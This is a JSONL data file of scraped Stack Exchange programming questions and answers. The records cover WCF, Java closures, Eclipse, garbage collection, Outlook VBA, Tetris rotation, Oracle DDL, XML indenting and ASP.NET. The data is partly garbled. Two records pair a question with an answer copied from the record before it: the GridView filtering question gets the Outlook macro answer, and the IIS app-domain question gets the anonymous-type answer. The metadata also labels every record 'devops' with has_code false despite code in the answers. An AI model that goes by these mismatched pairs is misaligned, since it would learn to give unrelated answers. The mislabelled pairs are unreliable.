{"id": "hf_917273262ddd", "question": "<p>What is the best practice for writing a rather large wcf service, containing a lot of OperationContracts and DataContracts?</p>\n\n<p>How would I separate functional areas into several contracts, would it be best to create an endpoint for each functional area? </p>\n\n<p>Is there any way to keep the source for the different parts apart, but still use only one service for all of them?</p>\n\n<p>Where do I get good information how to plan the contracts, what to include, how to split...?</p>\n", "question_body": "", "answer": "That's been a big question surrounding services since their inception. SOA done successfully is SOA planned to the extent you're talking about. Having said that, I've always leaned more toward splitting services out, but using them in a composite manner. That is, several endpoints when you have several contracts, but most of them are only consumed by a few endpoints that are consumed by non-service callers. (wow, that was a mouthful, did it even make sense?)\nAlso, I would advise to have as few contracts as possible. Too many contracts can lead to poor manageability. Good contract design will help limit the number of endpoints and service calls. Removing OO concepts from contract design is one way of doing so. Contract design is a massive topic in itself, but suffice it to say that through good contract planning (up front), comes good service design.\nMaarten Mullender\nwrites a great blog\non WCF design, and is a must read. There are also some great SOA/WCF books emerging as well.\nSome good books:\nPro WCF: Practical Microsoft SOA Implementation\nProgramming WCF", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.894546"}
{"id": "hf_b8c1c9a5012b", "question": "<p>I have heard that closures could be introduced in the next Java standard that is scheduled to be released somewhere around next summer. </p>\n\n<p>What would this syntax look like?</p>\n\n<p>I read somewhere that introducing closures in java is a bigger change than generic was in java 5. Is this true? pros and cons?</p>\n\n<p>(By now we definitely know that closures not will be included in the next Java release)</p>\n\n<p>OR </p>\n\n<p><strong>edit: <a href=\"http://puredanger.com/tech/2009/11/18/closures-after-all/\" rel=\"noreferrer\">http://puredanger.com/tech/2009/11/18/closures-after-all/</a> :D</strong></p>\n\n<p><strong>edit2: Re-thinking JDK7: <a href=\"http://blogs.oracle.com/mr/entry/rethinking_jdk7\" rel=\"noreferrer\">http://blogs.oracle.com/mr/entry/rethinking_jdk7</a></strong></p>\n\n<p><strong>edit3: There’s not a moment to lose!: <a href=\"http://blogs.oracle.com/mr/entry/quartet\" rel=\"noreferrer\">http://blogs.oracle.com/mr/entry/quartet</a></strong></p>\n", "question_body": "", "answer": "Have a look at\nhttp://www.javac.info/\n.\nIt seems like this is how it would look:\n```\n```\nboolean even = { int x => x % 2 == 0 }.invoke(15);\n```\n```\nwhere the\n```\n{ int x => x % 2 == 0 }\n```\nbit is the closure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.932289"}
{"id": "hf_3c3ee480ab8a", "question": "<p>Does Eclipse have a feature that lets you search a project to find all calls to deprecated methods?</p>\n", "question_body": "", "answer": "You can set the compiler to generate errors or warnings (your choice) for any usage of deprecated API.\nPreferences -> Java -> Compiler -> Errors/Warnings ->\nDeprecated and restricted API\nsection.\nThen, each use of a deprecated method or API will show up as an error/warning in the Problems view.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.957134"}
{"id": "hf_bf2fdeb6d56d", "question": "<p>In my experience it seems that most people will tell you that it is unwise to force a garbage collection but in some cases where you are working with large objects that don't always get collected in the 0 generation but where memory is an issue, is it ok to force the collect?  Is there a best practice out there for doing so?</p>\n", "question_body": "", "answer": "I've learned to not try to outsmart the garbage collection.  With that said, I just stick to using\n```\nusing\n```\nkeyword when dealing with unmanaged resources like file I/O or database connections.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:03.982107"}
{"id": "hf_728a0089803a", "question": "<p>All the PHP files in my workspace are encoded in <strong>Unicode (UTF-8, no BOM)</strong>. I often duplicate an existing source file to use as a base for a new script. Invariably (with Path Finder or the original Finder), OS X will convert the encoding of the duplicate file to <strong>Western (Mac OS Roman)</strong>.</p>\n\n<p>Is there any way to make OS X behave and not convert the text encoding when duplicating a text file? Or make it use a specific text encoding (other than Western!) by default for all files with .php extension?</p>\n", "question_body": "", "answer": "I highly doubt that the \"conversion\" you're seeing is an actual difference in the two copies of the file.  OS X doesn't store any sort of encoding value for a file's content, so it's much more likely that it's whatever tool you're using to view/edit your files that's interpreting the content differently, whether it be Xcode, TextWrangler, or whatever other editor you're using.  Doing a straight copy of the file, whether it be from the Finder, Path Finder, or the command line, won't ever change the actual data in the file in the process of copying.\nUTF-8 and Mac OS Roman are actually the same if you don't have any characters above 0x7f, so it's very possible that a valid UTF-8 file with no BOM could be interpreted as a Mac OS Roman file.  In any case, I would look into whatever program it is that's showing you that encoding to find the solution, not the file copying procedure of OS X itself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.005916"}
{"id": "hf_599f8100a83f", "question": "<p>Ok</p>\n\n<p>I'm working on a little project at the moment, the Report expects an int but the ReportParameter class only lets me have a value that's a string or a string[]</p>\n\n<p>How can I pass an int?</p>\n\n<p>thanks</p>\n\n<p>dan</p>\n", "question_body": "", "answer": "You can call the method\n```\nGetReportParameters()\n```\nwhich will return a\n```\nReportParameter[]\n```\narray. If you iterate through each parameter and look at its Type property it will indicate if it is an\n```\nint\n```\n. The Type property is an\n```\nenum\n```\nof type\n```\nParameterTypeEnum\n```\nand would be\n```\nParameterTypeEnum.Integer\n```\nfor an\n```\nint\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.042099"}
{"id": "hf_11a4165dd3d2", "question": "<p>I had a VBA project in outlook with a few email macros - but after a PC crash they are all gone and all I see is a fresh 'Project1' when I hit Alt+F11</p>\n\n<p>I'm not a VBA programmer, but had a collection of handy macros for email sorting etc. I would not like to have to code them again. Anyone know where the code files should be on the filesystem so that I might rescue the code?</p>\n", "question_body": "", "answer": "This page\nhas some really good insight on where Outlook keeps all its stuff. It suggests the following:\nAll Outlook macros are stored in a single file named VbaProject.otm in the user's %appdata%\\Microsoft\\Outlook folder, which will be a hidden folder on most systems.\nNow, the problem is that if you do not see them now, then you probably won't be able to restore them from that location: there is probably either an \"empty\" project there or no project at all, but if that folder is being backed up, you might be able to restore it.\nMoving forward, you might consider exporting your macros periodically in case this happens again, either through the VBA IDE (right-click and select Export File...) or using one of the tools mentioned in the linked article (like the\nOffice Profile Wizard\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.136751"}
{"id": "hf_5cce7e0614fb", "question": "<p>i have a data access layer which returns data from stored procedures. If i bind this to a gridview control in asp.net 2.0, the users then have an option of filtering on that data select list where in they can choose the conditional clause of </p>\n\n<ul>\n<li><p>like</p></li>\n<li><p>=</p></li>\n<li><p>or</p></li>\n<li><p>and</p></li>\n</ul>\n\n<p>Once the result is returned, I do not want to hit the Db again with the filters applied.</p>\n\n<p>I have an option to use .net 3.5 if the need be. i looked at this:\n<a href=\"http://weblogs.asp.net/jgaylord/archive/2006/05/31/Filter-A-GridView-After-The-Initial-Bind.aspx\" rel=\"nofollow noreferrer\">http://weblogs.asp.net/jgaylord/archive/2006/05/31/Filter-A-GridView-After-The-Initial-Bind.aspx</a></p>\n\n<p>and not sure of its efficiency.</p>\n", "question_body": "", "answer": "This page\nhas some really good insight on where Outlook keeps all its stuff. It suggests the following:\nAll Outlook macros are stored in a single file named VbaProject.otm in the user's %appdata%\\Microsoft\\Outlook folder, which will be a hidden folder on most systems.\nNow, the problem is that if you do not see them now, then you probably won't be able to restore them from that location: there is probably either an \"empty\" project there or no project at all, but if that folder is being backed up, you might be able to restore it.\nMoving forward, you might consider exporting your macros periodically in case this happens again, either through the VBA IDE (right-click and select Export File...) or using one of the tools mentioned in the linked article (like the\nOffice Profile Wizard\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.160817"}
{"id": "hf_2540e9f75ad3", "question": "<p>I use an anonymous object to pass my Html Attributes to some helper methods.\nIf the consumer didn't add an ID attribute, I want to add it in my helper method.</p>\n\n<p>How can I add an attribute to this anonymous object?</p>\n", "question_body": "", "answer": "I assume you mean anonymous types here, e.g.\n```\nnew { Name1=value1, Name2=value2}\n```\netc. If so, you're out of luck - anonymous types are normal types in that they're fixed, compiled code. They just happen to be autogenerated.\nWhat you\ncould\ndo is write\n```\nnew { old.Name1, old.Name2, ID=myId }\n```\nbut I don't know if that's really what you want. Some more details on the situation (including code samples) would be ideal.\nAlternatively, you could create a container object which\nalways\nhad an ID and whatever other object contained the rest of the properties.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.184843"}
{"id": "hf_d5caa63a2da2", "question": "<p>This question is about App domains and Sessions. Is it possible to have IIS run each User Session in a seperate App Domain. If Yes, Could you please let me settings in the config file that affect this.</p>\n\n<p>Regards,\nAnil.</p>\n", "question_body": "", "answer": "I assume you mean anonymous types here, e.g.\n```\nnew { Name1=value1, Name2=value2}\n```\netc. If so, you're out of luck - anonymous types are normal types in that they're fixed, compiled code. They just happen to be autogenerated.\nWhat you\ncould\ndo is write\n```\nnew { old.Name1, old.Name2, ID=myId }\n```\nbut I don't know if that's really what you want. Some more details on the situation (including code samples) would be ideal.\nAlternatively, you could create a container object which\nalways\nhad an ID and whatever other object contained the rest of the properties.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.208579"}
{"id": "hf_c88842a2ab2c", "question": "<p>I was wondering if the C# project setting \"Allow unsafe code\" applies only to unsafe C# code in  the project itself, or is it necessary to set this option when linking in a native C++ DLL? What about linking in a managed DLL that itself links to a native DLL? What does this option really do, under the hood?</p>\n", "question_body": "", "answer": "It allows you to use the \"unsafe\" block.\n```\n```\nunsafe(...)\n{\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.303912"}
{"id": "hf_7bd657d0185b", "question": "<p>I am trying to detect Blackberry user agents in my app, which works fine in my development version. But nothing happens when I redeploy the app in production.</p>\n\n<p>application_helper.rb</p>\n\n<pre><code>  def blackberry_user_agent?\n    request.env[\"HTTP_USER_AGENT\"] &amp;&amp; request.env[\"HTTP_USER_AGENT\"][/(Blackberry)/]\n  end\n</code></pre>\n\n<p>application.html.erb</p>\n\n<pre><code>&lt;% if blackberry_user_agent? -%&gt;\n&lt;div class=\"message\"&gt;\n&lt;p&gt;Using a Blackberry? &lt;a href=\"http://mobile.site.ca/\"&gt;Use the mobile optimized version&lt;/a&gt;.&lt;/p&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>I've tried clearing the cache using rake tmp:cache:clear and restarted mongrel a few times. Apparently the HTTP_USER_AGENT is coming back nil in production. I am using Nginx with a mongrel cluster.</p>\n", "question_body": "", "answer": "Are you using Apache or nginx in front of your mongrel(s)?\nAre you logging the user_agent? This is from my nginx.conf:\n```\n```\nlog_format main '$remote_addr - $remote_user [$time_local] $request '\n                  '\"$status\" $body_bytes_sent \"$http_referer\" '\n                  '\"$http_user_agent\" \"http_x_forwarded_for\"';\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.362652"}
{"id": "hf_39bfc1e5025c", "question": "<p>I would like to create a link between a winMo device and a server, so that they can pass information back and forth to each other. I actually don't really know where to start, I've had SOAP, RPC and creating a TCP link suggested to me. If someone could provide a link to an example that would be great.</p>\n\n<p>Thanks!</p>\n\n<p>Thanks for the responses. Updates:</p>\n\n<ul>\n<li>It's not critical that the server initiate the communications, I could have the mobile device poll the server</li>\n<li>timing is not ultra critical </li>\n<li>I would prefer that it uses some open standard, if I wanted to also communicate with a palm device as well for example.</li>\n<li>I had the idea that webservices were one way, unless the mobile device runs a server also?!</li>\n</ul>\n", "question_body": "", "answer": "Your best bet is to set up an ASP.NET web service on the server, and then have your PDA application talk to it.\nYou can also use the web service to talk back to the PDA.  Essentially, the PDA has to initially call the web service and pass in a delegate method that the server then calls when it needs to talk to the PDA.  I do not recommend this latter method, especially in an environment where the PDA is not continuously connected to the network.  It's usually better to have the PDA initiate each contact with the server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.386414"}
{"id": "hf_36d36f6fc267", "question": "<p>Let's say you have a aspx page that does not rely on session, but does rely on viewstate for persistance between postbacks. </p>\n\n<p>If a user is accessing this page, and leaves for a long lunch, will viewstate still be valid when he returns?</p>\n", "question_body": "", "answer": "No ViewState is kept as part of the PostBack process.  You can, however,\noverride\nthe Page class's  SavePageStateToPersistenceMedium() and LoadPageStateFromPersistenceMedium(), to implement that behavior if desired.  For more information read\nUnderstanding the ASP.NET ViewState\n.\nNote that\nPage\nViewState is stored in the Session so if your Session expires, the ViewState will be lost.  I wouldn't say this is ViewState expiring, but yes, it will be destroyed after Session timeout.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.435105"}
{"id": "hf_4c07e475e792", "question": "<p>What are the best algorithms (and explanations) for representing and rotating the pieces of a tetris game?  I always find the piece rotation and representation schemes confusing.</p>\n\n<p>Most tetris games seem to use a naive \"remake the array of blocks\" at each rotation:</p>\n\n<p><a href=\"http://www.codeplex.com/Project/ProjectDirectory.aspx?ProjectSearchText=tetris\" rel=\"noreferrer\">http://www.codeplex.com/Project/ProjectDirectory.aspx?ProjectSearchText=tetris</a></p>\n\n<p>However, some use pre-built encoded numbers and bit shifting to represent each piece:</p>\n\n<p><a href=\"http://www.codeplex.com/wintris\" rel=\"noreferrer\">http://www.codeplex.com/wintris</a></p>\n\n<p>Is there a method to do this using mathematics (not sure that would work on a cell based board)?</p>\n", "question_body": "", "answer": "There is a limited amount of shapes, so I would use a fixed table and no calculation. That saves time.\nBut there are rotation algorithms.\nChose a centerpoint and rotate pi/2.\nIf a block of a piece starts at (1,2) it moves clockwise to (2,-1) and (-1,-2) and (-1, 2).\nApply this for each block and the piece is rotated.\nEach x is the previous y and each y - the previous x. Which gives the following matrix:\n```\n```\n[  0   1 ]\n[ -1   0 ]\n```\n```\nFor counterclockwise rotation, use:\n```\n```\n[  0  -1 ]\n[  1   0 ]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.469933"}
{"id": "hf_5b5432cb638f", "question": "<p>I know the statement:</p>\n\n<pre><code>create table xyz_new as select * from xyz;\n</code></pre>\n\n<p>Which copies the structure and the data, but what if I just want the structure?</p>\n", "question_body": "", "answer": "Using sql developer select the table and click on the DDL tab\nYou can use that code to create a new table with no data when you run it in a sql worksheet\nsqldeveloper is a free to use app from oracle.\nIf the table has sequences or triggers the ddl will sometimes generate those for you too. You just have to be careful what order you make them in and know when to turn the triggers on or off.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.505630"}
{"id": "hf_a3fa0f622699", "question": "<p>The Microsoft unit testing framework has suddenly gone on strike.</p>\n\n<p>When I try to run tests in VS2008, I get a dialog with the message \"VSTestHost.exe has stopped working\".</p>\n\n<p>I have Visual Studio Team System 2008 (version 9.0.30729.1 SP) running on Vista with all updates applied. </p>\n\n<p>The \"Problem reports and solutions\" suggests that I \"Upgrade to the latest retail version of Visual Studio Team Edition for Software Testers\" which is not right.</p>\n\n<p>I have tried rebooting. <br>\nI have tried \"devenv /resetuserdata\" </p>\n\n<p>These made no difference.</p>\n\n<p>I'd like to go back to <a href=\"http://www.mbunit.com/\" rel=\"noreferrer\">MbUnit</a> based on this nonsense, but that's not my choice. <br>\nAny suggestions on how to fix this?</p>\n", "question_body": "", "answer": "I have found the issue that I was asking about, and it was my fault. I had coded a stack overflow: I refactored some code into an extension method, renamed it to match the Linq extension method that it called, and so  it just called it self recursively.\nThe lessons to learn from this:\n1:\n\"select\" isn't broken\n. \nI was too quick to blame the framework, due to its bad reputation.\n2:\nBut it did have a pathologically general and entirely misleading error message.\nIn cases where the error message is that bad, a good debugging technique is to try to pin down what does and what doesn't cause the error. In my case, the breakthrough came as soon as I noticed that it wasn't \"the test run\" that was failing, it was only runs containing Sql database tests - domain object and mock repository test could run just fine, so there had to be something about the code that it was running. And that the debugger would step into the tests. I had assumed from the calamitous errors that it wasn't even getting that far.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.529271"}
{"id": "hf_34470992db51", "question": "<p>Is there a way to create a blank solution, or some type of file-based project solution within Visual Studio so that I can point to a root folder, and have all of the sub-folders and files in that root, show up in my solution explorer? I realize I can create a blank solution and then add the individual items manually by add > existing item, however, this does not keep the folder structure intact, and, well, it would take forever if I have a lot of folders/files. </p>\n", "question_body": "", "answer": "You can also create the blank solution and then click the second-from-the-right icon at the top of the solution explorer (it looks like three files with one \"cut out\").  Once you click that button to show the files in the solution directory that are not in a project, you can select all the files (with shift-click) and then right-click on your selection and select \"Include In Project.\"\nAlso note you can select multiple files in the \"Add Existing...\" file window with shift- or control-click.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.564058"}
{"id": "hf_f3d07707305a", "question": "<p>Im currently using ie as an active x com thing on wxWidgets and was wanting to know if there is any easy way to change the user agent that will always work.</p>\n\n<p>Atm im changing the header but this only works when i manually load the link (i.e. call setUrl)</p>\n", "question_body": "", "answer": "The only way that will \"always work,\" so far as I've been able to find, is\nchanging the user-agent string in the registry\n. That will, of course, affect\nevery\nweb browser instance running on that machine.\nYou might also try a Google search on\n```\nDISPID_AMBIENT_USERAGENT\n```\n. From\nthis Microsoft page\n:\nMSHTML will also ask for a new user\n  agent via\n```\nDISPID_AMBIENT_USERAGENT\n```\nwhen navigating to clicked hyperlinks.\n  This ambient property can be\n  overridden, but it is not used when\n  programmatically calling the Navigate\n  method; it will also not cause the\n  userAgent property of the DOM's\n  navigator object or clientInformation\n  behavior to be altered - this property\n  will always reflect Internet\n  Explorer's own UserAgent string.\nI'm not familiar with the MSHTML component, so I'm not certain that's helpful.\nI hope that at least gives you a place to start. :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.636210"}
{"id": "hf_4c763f575d8d", "question": "<p>I have a WinForms app with an input textbox, button, and a multiline output textbox.\nA root path is entered in the textbox.  Button click calls a function to recursively check all subdirectories for some proper directory naming validation check. \nThe results are output into the multiline textbox.</p>\n\n<p>If the recursive work is done in a separate class, I have two options:</p>\n\n<ol>\n<li><p>Keep track of improper directories in a class property(e.g. ArrayList),return the ArrayList when done, and update the output textbox with all results.</p></li>\n<li><p>Pass in ByRef the output textbox and update/refresh it for each improper directory.\nEven though 1 &amp; 2 are single-threaded, with 2, I would at least get my results updated per directory.</p></li>\n</ol>\n\n<p>If the recursive work is done in the presentation layer and the validation is done in a separate class, I can multithread.</p>\n\n<p>Which is a cleaner way?</p>\n", "question_body": "", "answer": "You don't need to pass the TextBox ByRef.  It's already a reference object.  Passing it ByRef would only have an effect if you planned to assign a different or new TextBox to the reference.\nIf you're going to do the work in a separate class, it seems as simple as passing in the contents of the TextBox as a string, and getting the results back as a string or a set of strings (array or\n```\nList<string>\n```\nor the like).  This is better than passing in the TextBox in case someday you decide to use a different kind of control to store this information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.659926"}
{"id": "hf_a46ac769bde8", "question": "<p>What are my validation options with .net mvc?</p>\n\n<p>Do any of them have a nice validation summary like webforms did?</p>\n", "question_body": "", "answer": "You can use a MVC html validation summary,see this blog\nhttp://blog.maartenballiauw.be/post/2008/08/29/Form-validation-with-ASPNET-MVC-preview-5.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.765952"}
{"id": "hf_9600558fdd15", "question": "<p>Does anyone know if there is a debug visualiser for this yet along the same lines and the linq to SQL debug visualiser?</p>\n", "question_body": "", "answer": "There isn't one that I'm aware of at the moment (hope to be shown otherwise by other answers here), but Julie Lerman has a post\n\"An extension method for visualizing ObjectStateEntries\"\nwhere she walks through creating a debug tool that pops up a WinForm for inspecting the state of entities via their EntityKey.\nNot quite a visualizer, but seriously handy when you need to tease apart ObjectStateEntries to debug change tracking scenarios.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.789437"}
{"id": "hf_b73ba6db56d2", "question": "<p>I need to create at runtime instances of a class that uses generics, like <code>class&lt;T&gt;</code>, without knowing previously the type T they will have, I would like to do something like that:</p>\n\n<pre><code>public Dictionary&lt;Type, object&gt; GenerateLists(List&lt;Type&gt; types)\n{\n    Dictionary&lt;Type, object&gt; lists = new Dictionary&lt;Type, object&gt;();\n\n    foreach (Type type in types)\n    {\n        lists.Add(type, new List&lt;type&gt;()); /* this new List&lt;type&gt;() doesn't work */\n    }\n\n    return lists;\n}\n</code></pre>\n\n<p>...but I can't. I think it is not possible to write in C# inside the generic brackets a type variable. Is there another way to do it?</p>\n", "question_body": "", "answer": "You can't do it like that - the point of generics is mostly\ncompile-time\ntype-safety - but you can do it with reflection:\n```\n```\npublic Dictionary<Type, object> GenerateLists(List<Type> types)\n{\n    Dictionary<Type, object> lists = new Dictionary<Type, object>();\n\n    foreach (Type type in types)\n    {\n        Type genericList = typeof(List<>).MakeGenericType(type);\n        lists.Add(type, Activator.CreateInstance(genericList));\n    }\n\n    return lists;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.812885"}
{"id": "hf_eb6e01fbec46", "question": "<p>How can I find the index in a string that matches a boost regex?</p>\n", "question_body": "", "answer": "Use the\n```\nposition\n```\nmember function of the\n```\nmatch_results\n```\n:\n```\n```\nint find_match_offset(std::string const& string_to_search,\n                      boost::regex const& expression)\n{\n    boost::smatch results;\n    if(boost::regex_match(string_to_search,results,expression))\n    {\n        return results.position()\n    }\n    return -1;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.848765"}
{"id": "hf_f0ecccd9f078", "question": "<p>Anyone got a ready made function that will take an XML string and return a correctly indented string?</p>\n\n<p>eg</p>\n\n<pre><code>&lt;XML&gt;&lt;TAG1&gt;A&lt;/TAG1&gt;&lt;TAG2&gt;&lt;Tag3&gt;&lt;/Tag3&gt;&lt;/TAG2&gt;&lt;/XML&gt;\n</code></pre>\n\n<p>and will return nicely formatted String in return after inserting linebreaks and tabs or spaces?</p>\n", "question_body": "", "answer": "Using\nOmniXML\n:\n```\n```\nprogram TestIndentXML;\n\n{$APPTYPE CONSOLE}\n\nuses\n  SysUtils,\n  OmniXML,\n  OmniXMLUtils;\n\nfunction IndentXML(const xml: string): string;\nvar\n  xmlDoc: IXMLDocument;\nbegin\n  Result := '';\n  xmlDoc := CreateXMLDoc;\n  if not XMLLoadFromAnsiString(xmlDoc, xml) then\n    Exit;\n  Result := XMLSaveToAnsiString(xmlDoc, ofIndent);\nend;\n\nbegin\n  Writeln(IndentXML('<XML><TAG1>A</TAG1><TAG2><Tag3></Tag3></TAG2></XML>'));\n  Readln;\nend.\n```\n```\nThe code fragment above is released to public domain.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.897806"}
{"id": "hf_35df4055ff91", "question": "<p>How do I pass a parameter from a page's useBean in JSP to a servlet in Java? I have some data in a form that gets passed no problem with a submit button, but no way to send anything else. Please help? Here is my code:</p>\n\n<pre><code>&lt;input name = \"deleteGameButton\" type = \"submit\" value = \"Delete\"\n onclick = \"submitToServlet('DeleteGameServlet');\"&gt;\n</code></pre>\n\n<p>Here is the corresponding javascript:</p>\n\n<pre><code> function submitToServlet(newAction)\n {\n   document.userGameForm.action = newAction;\n }\n</code></pre>\n\n<p>I'd like the servlet to have access to userBean</p>\n\n<pre><code> &lt;jsp:useBean id = \"userBean\" scope = \"session\" class = \"org.project.User\" /&gt;\n</code></pre>\n", "question_body": "", "answer": "You kind of mess things here.\nonclick() is Javascript and executed on client side. It has no (direct) way to update session-scoped bean. That bean is left on server-side, and was used when the HTML page was\ngenerated\n. To pass parameters back to servlet you need to use good old form fields, and submit the form.\nAdd more fields to the form, set their values before submit, then submit.\nIn Servlet call request.getParameter(\"name\");\nP.S. To automate this kind of things\nUSE STRUTS\n. :-) Struts does exactly what you want: before passing the parameters to action, it populates the bean with those parameters. Transparently.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:04.984695"}
{"id": "hf_e36e3a397eab", "question": "<p>I have a string containing a date, and another string containing the date format of the first string. Is there a function that I can call to convert that date into something like a SYSTEMTIME structure? Basically, I'd like the opposite of <a href=\"http://msdn.microsoft.com/en-us/library/ms776293(VS.85).aspx\" rel=\"nofollow noreferrer\">GetDateFormat()</a>.</p>\n", "question_body": "", "answer": "No, but you can write a function that will convert the date format string into a\n```\nsscanf\n```\nformat string and series of variables.  Then copy the data from the variables to the\n```\nSYSTEMTIME\n```\nstructure and you're all set.\nIt's not trivial, but it is probably the most flexible arrangement if you must support many different date formats.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:05.055016"}
